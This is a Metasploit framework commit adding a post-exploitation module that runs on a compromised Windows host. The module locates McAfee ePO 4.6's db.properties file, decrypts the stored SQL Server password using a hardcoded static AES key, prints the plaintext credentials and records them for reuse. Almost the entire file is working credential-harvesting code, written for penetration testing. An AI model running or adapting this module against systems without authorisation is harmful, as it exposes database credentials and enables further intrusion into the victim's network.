Adds the community submitted ePO database password post module

Did some minor code cleanup and replaced the hostname resolution with mubix's railgun
code to make the victim do the resolution. This should be more reliable.
Fixes #5210


git-svn-id: file:///home/svn/framework3/trunk@14160 4d416f70-5f16-0410-b530-b9f4589650da

modules/post/windows/gather/credentials/epo_sql.rb

@@ -0,0 +1,175 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/windows/registry'
+require "net/dns/resolver"
+
+class Metasploit3 < Msf::Post
+	include Msf::Post::Windows::Registry
+	include Msf::Auxiliary::Report
+
+	def initialize(info={})
+		super( update_info( info,
+				'Name'          => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials',
+				'Description'   => %q{
+					This module extracts connection details and decrypts the saved password for the
+					SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a
+					config file. They are encrypted with AES-128-ECB and a static key.
+				},
+				'License'       => MSF_LICENSE,
+				'Author'        => ['Nathan Einwechter <neinwechter[at]gmail.com>'],
+				'Version'       => '$Revision$',
+				'Platform'      => [ 'windows' ],
+				'SessionTypes'  => [ 'meterpreter' ]
+			))
+	end
+
+	def run
+		# Find out where things are installed
+		print_status("Finding Tomcat install path...")
+		subkeys = registry_enumkeys("HKLM\\Software\\Network Associates\\ePolicy Orchestrator")
+		if subkeys.nil? or subkeys.empty?
+			print_error ("ePO 4.6 Not Installed or No Permissions to RegKey")
+			return
+		end
+		# Get the db.properties file location
+		epol_reg_key = "HKLM\\Software\\Network Associates\\ePolicy Orchestrator"
+		dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder")
+		if dbprops_file == nil or dbprops_file == ""
+			print_error("Could not find db.properties file location")
+		else
+			dbprops_file << "/conf/orion/db.properties";
+			print_good("Found db.properties location");
+			process_config(dbprops_file);
+		end
+	end
+
+	def process_config(filename)
+		config = client.fs.file.new(filename, 'r')
+		print_status("Processing #{filename}")
+		contents = config.read
+		config_lines = contents.split("\n")
+		for line in config_lines
+			line.chomp
+			line_array = line.split('=')
+			case line_array[0]
+			when "db.database.name"
+				database_name = ""
+				line_array[1].each_byte { |x|  database_name << x unless x > 126 || x < 32 }
+			when "db.instance.name"
+				database_instance = ""
+				line_array[1].each_byte { |x|  database_instance << x unless x > 126 || x < 32 }
+			when "db.user.domain"
+				user_domain = ""
+				line_array[1].each_byte { |x|  user_domain << x unless x > 126 || x < 32 }
+			when "db.user.name"
+				user_name = ""
+				line_array[1].each_byte { |x|  user_name << x unless x > 126 || x < 32 }
+			when "db.port"
+				port = ""
+				line_array[1].each_byte { |x|  port << x unless x > 126 || x < 32 }
+			when "db.user.passwd.encrypted.ex"
+				# ePO 4.6 encrypted password
+				passwd = ""
+				line_array[1].each_byte { |x|  passwd << x unless x > 126 || x < 32 }
+				passwd.gsub("\\","")
+				# Add any Base64 padding that may have been stripped out
+				passwd << "=" until ( passwd.length % 4 == 0 )
+				plaintext_passwd = decrypt46(passwd)
+			when "db.user.passwd.encrypted"
+				# ePO 4.5 encrypted password - not currently supported, see notes below
+				passwd = ""
+				line_array[1].each_byte { |x|  passwd << x unless x > 126 || x < 32 }
+				passwd.gsub("\\","")
+				# Add any Base64 padding that may have been stripped out
+				passwd << "=" until ( passwd.length % 4 == 0 )
+				plaintext_passwd = "PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP"
+			when "db.server.name"
+				database_server_name = ""
+				line_array[1].each_byte { |x|  database_server_name << x unless x > 126 || x < 32 }
+			end
+		end
+
+		# resolve IP address for creds reporting
+		#Code borrowed from Rob fuller's dig module
+		if client.platform =~ /^x64/
+			size = 64
+			addrinfoinmem = 32
+		else
+			size = 32
+			addrinfoinmem = 24
+		end
+
+		result = client.railgun.ws2_32.getaddrinfo(database_server_name,nil,nil,4)
+		if result['GetLastError'] == 11001
+			print_error("Could not determine IP of DB - credentials not added to report database")
+			return
+		end
+		addrinfo = client.railgun.memread( result['ppResult'], size )
+		ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first
+		sockaddr = client.railgun.memread( ai_addr_pointer, size/2 )
+		ip = sockaddr[4,4].unpack('N').first
+		db_ip = Rex::Socket.addr_itoa(ip)
+
+		print_good("SQL Server: #{database_server_name}")
+		print_good("SQL Instance: #{database_instance}")
+		print_good("Database Name: #{database_name}")
+		if db_ip
+			print_good("Database IP: #{db_ip}")
+		end
+		print_good("Port: #{port}")
+		if user_domain == nil or user_domain == ""
+			print_good("Authentication Type: SQL");
+			full_user = user_name
+		else
+			print_good("Authentication Type: Domain");
+			print_good("Domain: #{user_domain}");
+			full_user = "#{user_domain}\\#{user_name}"
+		end
+		print_good("User: #{user_name}")
+		print_good("Password: #{plaintext_passwd}")
+
+		if (db_ip)
+			# submit to reports
+			report_auth_info(
+				:host => db_ip,
+				:port => port,
+				:sname => 'mssql',
+				:user => full_user,
+				:pass => plaintext_passwd,
+				:active => true
+			)
+			print_good("Added credentials to report database")
+		else
+			print_error("Could not determine IP of DB - credentials not added to report database")
+		end
+	end
+
+
+	def decrypt46(encoded)
+		encrypted_data = Rex::Text.decode_base64(encoded)
+		aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
+		aes.padding = 0
+		aes.decrypt
+		# Private key extracted from ePO 4.6.0 Build 1029
+		# If other keys are required for other versions of 4.6 - will have to add version
+		# identification routines in to the main part of the module
+		key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]
+		aes.key = key.pack('C*')
+		password = aes.update(encrypted_data) + aes.final
+		# Get rid of all the crazy \f's that result
+		password.gsub!(/[^[:print:]]/,'')
+		return password
+	end
+
+
+end